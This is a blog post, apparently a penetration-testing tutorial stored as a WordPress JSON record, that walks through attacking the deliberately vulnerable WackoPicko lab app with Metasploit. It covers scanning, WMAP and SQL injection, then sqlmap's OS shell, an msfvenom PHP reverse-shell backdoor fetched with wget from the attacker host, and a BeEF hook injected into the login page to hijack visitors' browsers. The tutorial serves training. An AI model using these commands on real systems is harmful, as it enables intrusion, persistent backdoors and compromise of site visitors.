{"id":4792,"date":"2025-09-11T09:00:33","date_gmt":"2025-09-11T09:00:33","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=4792"},"modified":"2025-09-11T09:00:33","modified_gmt":"2025-09-11T09:00:33","slug":"how-to-hack-a-website-with-metasploit","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=4792","title":{"rendered":"How to hack a website with Metasploit"},"content":{"rendered":"<p>Normally, a penetration tester or hacker uses <strong>Metasploit<\/strong> to exploit vulnerable services in a target server or to create a payload to set up a backdoor on a compromised system. Nevertheless, Metasploit has evolved with many plugins and modules, and now it can do much more than that. Today, it can also be used to <strong>pentest web applications<\/strong> effectively.<\/p>\n<p>In this article, I will show you how to use Metasploit for <strong>scanning a web server<\/strong> to gather information and how to use Metasploit for <strong>vulnerability assessment of a web application<\/strong>.<\/p>\n<h2 class=\"wp-block-heading\">Scenario<\/h2>\n<p>In this article, we will simulate an attack on a client using a vulnerable server. Below are the details of the setup:<\/p>\n<p><strong>Attacker Machine<\/strong> \u2013 Backtrack 5 R3 \u2013 192.168.1.137<\/p>\n<p><strong>Target Machine<\/strong> \u2013 WackoPicko web application (included in <strong>OWASP Broken Web Application v1.0<\/strong>) \u2013 192.168.1.138<\/p>\n<h2 class=\"wp-block-heading\">Scanning Phase<\/h2>\n<p>When attempting to hack a server, the first step is to <strong>gather as much information about the target as possible<\/strong>. Therefore, the first action is to scan the server.<\/p>\n<p>Metasploit includes a module called <strong>db_nmap<\/strong>, which runs <strong>Nmap<\/strong> (one of the most popular scanning tools). The results obtained from Nmap are automatically stored in Metasploit\u2019s database for later use.<\/p>\n<p>Follow these steps to perform the scan:<\/p>\n<p><strong>Open the Metasploit console<\/strong> root@bt:\/# msfconsole<\/p>\n<p><strong>Run db_nmap with the target\u2019s IP address<\/strong> <\/p>\n<p>msf &gt; db_nmap [*] Usage: db_nmap [nmap options] <\/p>\n<div class=\"wp-block-image\">\n<\/div>\n<p>This will execute Nmap from within <a href=\"https:\/\/codelivly.com\/exploring-metasploit\/\">Metasploit <\/a>and record the results in the database, making it easier to analyze the target during the penetration test. <\/p>\n<p>After running the initial db_nmap scan, we can proceed to analyze the results.<\/p>\n<h3 class=\"wp-block-heading\">1. Check Scanning Results with hosts<\/h3>\n<p>msf &gt; hosts -h<br \/>\nmsf &gt; hosts<\/p>\n<h3 class=\"wp-block-heading\">2. View Detailed Services with services<\/h3>\n<p>The services command provides details such as <strong>created_at, info, name, port, proto, state, updated_at<\/strong>.<\/p>\n<p>msf &gt; services -h<br \/>\nmsf &gt; services<br \/>\nmsf &gt; services -c port,name,state<\/p>\n<p>From the results, we can confirm that the target server has a running <strong>web service<\/strong>.<\/p>\n<p><strong><em>Discover: <a href=\"https:\/\/codelivly.com\/mastering-metasploit-the-ultimate-cheat-sheet-for-exploit-development-post-exploitation-and-more\/\">Mastering Metasploit: The Ultimate Cheat Sheet for Exploit Development, Post-Exploitation, and More<\/a><\/em><\/strong><\/p>\n<h2 class=\"wp-block-heading\">Crawling the Website<\/h2>\n<p>Metasploit also has a module to <strong>crawl websites<\/strong> and gather information.<\/p>\n<h3 class=\"wp-block-heading\">1. Select the Crawler Module<\/h3>\n<p>msf &gt; use auxiliary\/scanner\/http\/crawler<\/p>\n<h3 class=\"wp-block-heading\">2. Set the Target (RHOST)<\/h3>\n<p>msf auxiliary(crawler) &gt; set RHOST 192.168.77.138<\/p>\n<p>Since we are focusing on the <strong>WackoPicko web application<\/strong>, we specify its URI:<\/p>\n<p>msf auxiliary(crawler) &gt; set URI \/WackoPicko\/<\/p>\n<h3 class=\"wp-block-heading\">3. Run the Crawler<\/h3>\n<p>msf auxiliary(crawler) &gt; run<\/p>\n<p>From this phase, you will gather both <strong>server and web application information<\/strong>, which will be useful in the next phase\u2014<strong>Exploitation<\/strong>.<\/p>\n<h2 class=\"wp-block-heading\">Exploit Phase<\/h2>\n<p>In this phase, we will use Metasploit\u2019s <strong>vulnerability scanning modules<\/strong> and combine them with other attack tools.<\/p>\n<h3 class=\"wp-block-heading\">WMAP Plugin<\/h3>\n<p><strong>WMAP<\/strong> is a general-purpose <strong>web application scanning framework<\/strong> for Metasploit 3. Its architecture is simple yet powerful. Unlike other scanners, WMAP is not built around a browser or spider for data capture\u2014it integrates directly into Metasploit.<\/p>\n<p>We will use WMAP to perform <strong>automated vulnerability scanning<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\">Steps for WMAP Scanning<\/h3>\n<h4 class=\"wp-block-heading\">1. Load WMAP Modules<\/h4>\n<p>msf auxiliary(crawler) &gt; load wmap<\/p>\n<h4 class=\"wp-block-heading\">2. List Web Application Sites<\/h4>\n<p>Since we already crawled the web application, <a href=\"https:\/\/www.offsec.com\/metasploit-unleashed\/wmap-web-scanner\/\">WMAP <\/a>can use that information from the database.<\/p>\n<p>msf auxiliary(crawler) &gt; wmap_sites<br \/>\nmsf auxiliary(crawler) &gt; wmap_sites -l<\/p>\n<h4 class=\"wp-block-heading\">3. View Structure of Web Application<\/h4>\n<p>msf auxiliary(crawler) &gt; wmap_sites -s [target_id]<\/p>\n<p>Example:<\/p>\n<p>msf auxiliary(crawler) &gt; wmap_sites -s 0<\/p>\n<h4 class=\"wp-block-heading\">4. Specify Target for Scanning<\/h4>\n<p>msf auxiliary(crawler) &gt; wmap_targets<br \/>\nmsf auxiliary(crawler) &gt; wmap_targets -t<\/p>\n<h4 class=\"wp-block-heading\">5. Run Automated Vulnerability Scan<\/h4>\n<p>msf auxiliary(crawler) &gt; wmap_run<br \/>\nmsf auxiliary(crawler) &gt; wmap_run -e<\/p>\n<h4 class=\"wp-block-heading\">6. Check Vulnerability Scan Results<\/h4>\n<p>msf auxiliary(crawler) &gt; wmap_vulns -l<\/p>\n<h3 class=\"wp-block-heading\">Results<\/h3>\n<p>From the scan results, we discover several vulnerabilities in the WackoPicko web application, such as:<\/p>\n<p>Sensitive files or directories<\/p>\n<p>Admin directory exposure<\/p>\n<p>Backup directory exposure<\/p>\n<p><strong>SQL Injection vulnerabilities<\/strong><\/p>\n<p>These findings give penetration testers potential attack vectors to exploit further <\/p>\n<h2 class=\"wp-block-heading\">SQL Injection with Metasploit<\/h2>\n<p>If you want to test whether a parameter is vulnerable to SQL Injection, you can use Metasploit modules. In this example, we will use the <strong>auxiliary\/scanner\/http\/blind_sql_query<\/strong> module.<\/p>\n<h3 class=\"wp-block-heading\">Step 1: Identify the Vulnerable Page<\/h3>\n<p>From the WMAP scan, we discovered that:<\/p>\n<p>http:\/\/192.168.77.138\/WackoPicko\/users\/login.php<\/p>\n<p>has a <strong>SQL Injection vulnerability<\/strong> with two parameters: username and password.<\/p>\n<p>We will test the <strong>username parameter<\/strong> using the SQL Injection module.<\/p>\n<p>msf &gt; use auxiliary\/scanner\/http\/blind_sql_query<br \/>\nmsf auxiliary(blind_sql_query) &gt; show options<\/p>\n<h3 class=\"wp-block-heading\">Step 2: Configure the Target Environment<\/h3>\n<p>msf auxiliary(blind_sql_query) &gt; set DATA username=hacker&amp;password=password&amp;submit=login<br \/>\nmsf auxiliary(blind_sql_query) &gt; set METHOD POST<br \/>\nmsf auxiliary(blind_sql_query) &gt; set PATH \/WackoPicko\/users\/login.php<br \/>\nmsf auxiliary(blind_sql_query) &gt; set RHOSTS 192.168.77.138<\/p>\n<h3 class=\"wp-block-heading\">Step 3: Run the Test<\/h3>\n<p>msf auxiliary(blind_sql_query) &gt; run<\/p>\n<p>The result shows that the <strong>username parameter is vulnerable to SQL Injection<\/strong>.<\/p>\n<p>You can also test other SQL Injection methods, such as <strong>Error-Based Injection<\/strong>, with:<\/p>\n<p>msf &gt; use auxiliary\/scanner\/http\/error_sql_injection<\/p>\n<h2 class=\"wp-block-heading\">Exploiting the SQL Injection with SQLMap<\/h2>\n<p>Now that we know the username parameter of users\/login.php is vulnerable, we can exploit it using <strong><a href=\"https:\/\/codelivly.com\/mastering-sql-injection-with-sqlmap-a-comprehensive-evasion-techniques-cheatsheet\/\">SQLMap<\/a><\/strong>, a powerful SQL Injection tool that works well with Metasploit.<\/p>\n<h3 class=\"wp-block-heading\">1. SQLMap Options We Will Use<\/h3>\n<p>-u \u2192 Target URL<\/p>\n<p>&#8211;data \u2192 Data string for POST request<\/p>\n<p>&#8211;random-agent \u2192 Use a random User-Agent header<\/p>\n<p>&#8211;os-shell \u2192 Attempt to gain an interactive OS shell<\/p>\n<h3 class=\"wp-block-heading\">2. Run SQLMap Command<\/h3>\n<p>root@bt:\/pentest\/database\/sqlmap# .\/sqlmap.py -u &#8220;http:\/\/192.168.77.138\/WackoPicko\/users\/login.php&#8221; &#8211;data &#8220;username=hacker&amp;password=password&amp;submit=login&#8221; &#8211;os-shell<\/p>\n<p><strong>SQLMap Output (Summary):<\/strong><\/p>\n<p>Detected <strong>MySQL 5<\/strong> on <strong>Linux Ubuntu 10.04<\/strong><\/p>\n<p>Web tech: <strong>PHP 5.3.2, Apache 2.2.14<\/strong><\/p>\n<p>Injection points confirmed (username parameter)<\/p>\n<p>SQLMap attempted to upload a backdoor PHP shell into \/var\/www\/WackoPicko\/users\/<\/p>\n<h3 class=\"wp-block-heading\">Step 4: Creating a Backdoor with Metasploit (msfvenom)<\/h3>\n<p>Once inside, we can generate a <strong>reverse TCP backdoor<\/strong> with msfvenom:<\/p>\n<p>root@bt:~# msfvenom -p php\/meterpreter\/reverse_tcp LHOST=192.168.77.137 LPORT=443 -f raw &gt; \/var\/www\/bd.php<br \/>\nroot@bt:~# mv \/var\/www\/bd.php \/var\/www\/bd.jpg<\/p>\n<h3 class=\"wp-block-heading\">Step 5: Upload Backdoor from Target Shell<\/h3>\n<p>Inside the SQLMap OS shell:<\/p>\n<p>os-shell&gt; wget http:\/\/192.168.77.137\/bd.jpg<br \/>\nos-shell&gt; mv bd.jpg bd.php<\/p>\n<h3 class=\"wp-block-heading\">Step 6: Start Metasploit Handler<\/h3>\n<p>Set up a handler to wait for the reverse shell connection:<\/p>\n<p>root@bt:~# msfcli multi\/handler PAYLOAD=php\/meterpreter\/reverse_tcp LHOST=192.168.77.137 LPORT=443 E<\/p>\n<p>Metasploit will start listening for incoming connections.<\/p>\n<h3 class=\"wp-block-heading\">Step 7: Trigger the Backdoor<\/h3>\n<p>Finally, execute the backdoor via browser:<\/p>\n<p>http:\/\/192.168.77.138\/WackoPicko\/users\/bd.php<\/p>\n<p>Metasploit console output:<\/p>\n<p>[*] Started reverse handler on 192.168.77.137:443<br \/>\n[*] Sending stage (39217 bytes) to 192.168.77.138<br \/>\n[*] Meterpreter session 1 opened (192.168.77.137:443 -&gt; 192.168.77.138:42757)<\/p>\n<p>Now you have a <strong>Meterpreter session<\/strong> on the target machine, which gives you complete control. From here, you can upload files, escalate privileges, pivot to other systems, and much more.<\/p>\n<h2 class=\"wp-block-heading\">Metasploit with BeEF Plugin<\/h2>\n<p>The final part of this article demonstrates how to integrate <strong>Metasploit with BeEF (Browser Exploitation Framework)<\/strong>.<\/p>\n<p>So, <a href=\"https:\/\/codelivly.com\/beef-explained\/\">what is BeEF?<\/a><\/p>\n<p><strong>BeEF hooks one or more web browsers as beachheads for launching directed command modules. Each browser may exist in a different security context, and each context may provide a set of unique attack vectors.<\/strong><\/p>\n<p>By combining BeEF with Metasploit, penetration testers can exploit browser sessions of clients visiting a compromised page. <\/p>\n<h3 class=\"wp-block-heading\">Step 1: Run BeEF Service<\/h3>\n<p>root@bt:\/pentest\/web\/beef# .\/beef -x -v<\/p>\n<h3 class=\"wp-block-heading\">Step 2: Download BeEF Plugin for Metasploit<\/h3>\n<p>$ cd \/pentest\/exploits\/framework\/msf3<br \/>\n$ git clone https:\/\/github.com\/xntrik\/beefmetasploitplugin.git<\/p>\n<p>Output:<\/p>\n<p>Initialized empty Git repository in \/opt\/metasploit\/msf3\/beefmetasploitplugin\/.git\/<\/p>\n<h3 class=\"wp-block-heading\">Step 3: Move Plugin Files<\/h3>\n<p>root@bt:\/pentest\/exploits\/framework\/msf3# mv beefmetasploitplugin\/lib\/beef lib\/<br \/>\nroot@bt:\/pentest\/exploits\/framework\/msf3# mv beefmetasploitplugin\/plugins\/beef.rb plugins\/<\/p>\n<h3 class=\"wp-block-heading\">Step 4: Install Required Gems<\/h3>\n<p>root@bt:\/pentest\/exploits\/framework\/msf3# gem install hpricot json<\/p>\n<h3 class=\"wp-block-heading\">Step 5: Load BeEF Plugin in Metasploit<\/h3>\n<p>msf &gt; load beef<\/p>\n<h3 class=\"wp-block-heading\">Step 6: Connect to BeEF<\/h3>\n<p>msf &gt; beef_connect<br \/>\nmsf &gt; beef_connect http:\/\/127.0.0.1:3000 beef beef<\/p>\n<h3 class=\"wp-block-heading\">Step 7: Inject BeEF Hook into Target Page<\/h3>\n<p>From the SQLMap exploitation phase, we already had a Meterpreter shell. Now, download the vulnerable login.php page, inject the BeEF hook, and re-upload it:<\/p>\n<p>meterpreter &gt; download login.php .<br \/>\n[*] downloading: login.php -&gt; .\/login.php<br \/>\n[*] downloaded : login.php -&gt; .\/login.php<\/p>\n<p>root@bt:~# echo &#8220;&lt;script src=&#8217;http:\/\/192.168.77.137:3000\/hook.js&gt;&lt;\/script&gt;&#8221; &gt;&gt; login.php<\/p>\n<p>meterpreter &gt; upload login.php .<br \/>\n[*] uploading : login.php -&gt; .<br \/>\n[*] uploaded : login.php -&gt; .\/login.php<\/p>\n<p>Now, whenever a victim visits the login page, the BeEF hook will execute.<\/p>\n<h3 class=\"wp-block-heading\">Step 8: Access BeEF Management Interface<\/h3>\n<p>Open the BeEF control panel:<\/p>\n<p>http:\/\/127.0.0.1:3000\/ui\/panel<\/p>\n<p>Login credentials:<\/p>\n<p><strong>Username<\/strong>: beef<\/p>\n<p><strong>Password<\/strong>: beef<\/p>\n<h3 class=\"wp-block-heading\">Step 9: Monitor Victims<\/h3>\n<p>When a victim visits the infected login.php page, BeEF will detect it.<\/p>\n<p>Victims are listed in the <strong>left panel<\/strong>.<\/p>\n<p>Victim details appear in the <strong>right panel<\/strong> once selected.<\/p>\n<p>You can also monitor victims from Metasploit:<\/p>\n<p>msf &gt; beef_online<\/p>\n<p>To see details of a victim:<\/p>\n<p>msf &gt; beef_target<br \/>\nmsf &gt; beef_target -i 0<\/p>\n<h3 class=\"wp-block-heading\">Step 10: Run BeEF Commands<\/h3>\n<p>To run BeEF modules against a victim:<\/p>\n<p>msf &gt; beef_target -c 0<\/p>\n<p>For example, BeEF may launch a <strong>\u201cMan-In-The-Browser\u201d<\/strong> command against the hooked victim.<\/p>\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n<p>Now you know that <strong>Metasploit can be used for much more than just exploiting servers<\/strong>. It can perform:<\/p>\n<p><strong>Scanning<\/strong> with db_nmap<\/p>\n<p><strong>Crawling and Vulnerability Assessment<\/strong> with WMAP<\/p>\n<p><strong>SQL Injection Testing<\/strong> with Metasploit modules and SQLMap<\/p>\n<p><strong>Client-Side Exploitation<\/strong> with the BeEF plugin<\/p>\n<p>However, Metasploit also has <strong>limitations<\/strong>:<\/p>\n<p>It cannot directly test all vulnerability types, such as <strong>Cross-Site Scripting (XSS)<\/strong> or <strong>Remote File Inclusion (RFI)<\/strong>.<\/p>\n<p>But it can integrate with tools like <strong>BeEF<\/strong> for client-side attacks, or generate payloads for RFI.<\/p>\n<p>In the future, Metasploit may expand to cover more vulnerabilities natively.<\/p>\n<p>If you are beginning in <a href=\"https:\/\/codelivly.com\/complete-list-of-penetration-testing-and-hacking-tools\/\">penetration testing<\/a>, <strong>Metasploit is the perfect starting point<\/strong> to learn about the attack surface of web applications and computer systems.<\/p>\n<p>The post <a href=\"https:\/\/codelivly.com\/how-to-hack-a-website-with-metasploit\/\">How to hack a website with Metasploit<\/a> appeared first on <a href=\"https:\/\/codelivly.com\/\">Codelivly<\/a>.<\/p>","protected":false},"excerpt":{"rendered":"<p>Normally, a penetration tester or hacker uses Metasploit to exploit vulnerable services in a target server or to create a payload to set up a backdoor on a compromised system. Nevertheless, Metasploit has evolved with many plugins and modules, and now it can do much more than that. Today, it can also be used to [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":4793,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4792","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/4792"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4792"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/4792\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/4793"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4792"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4792"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4792"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}